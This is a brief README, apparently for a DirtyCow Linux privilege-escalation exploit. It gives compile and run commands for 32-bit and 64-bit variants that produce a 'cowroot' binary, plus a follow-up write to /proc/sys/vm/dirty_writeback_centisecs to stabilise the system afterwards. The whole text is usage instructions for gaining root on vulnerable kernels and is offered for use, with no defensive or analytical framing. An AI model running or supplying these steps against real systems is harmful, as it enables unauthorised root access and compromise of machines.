DirtyCow Dirtycow exploit for both 32 and 64-bit Usage Example For 32 Bit $ gcc dc32.c -o cowroot -pthread $ ./cowroot $ echo 0 > /proc/sys/vm/dirty_writeback_centisecs Usage Example For 64 Bit $ gcc dc64.c -o cowroot -pthread $ ./cowroot $ echo 0 > /proc/sys/vm/dirty_writeback_centisecs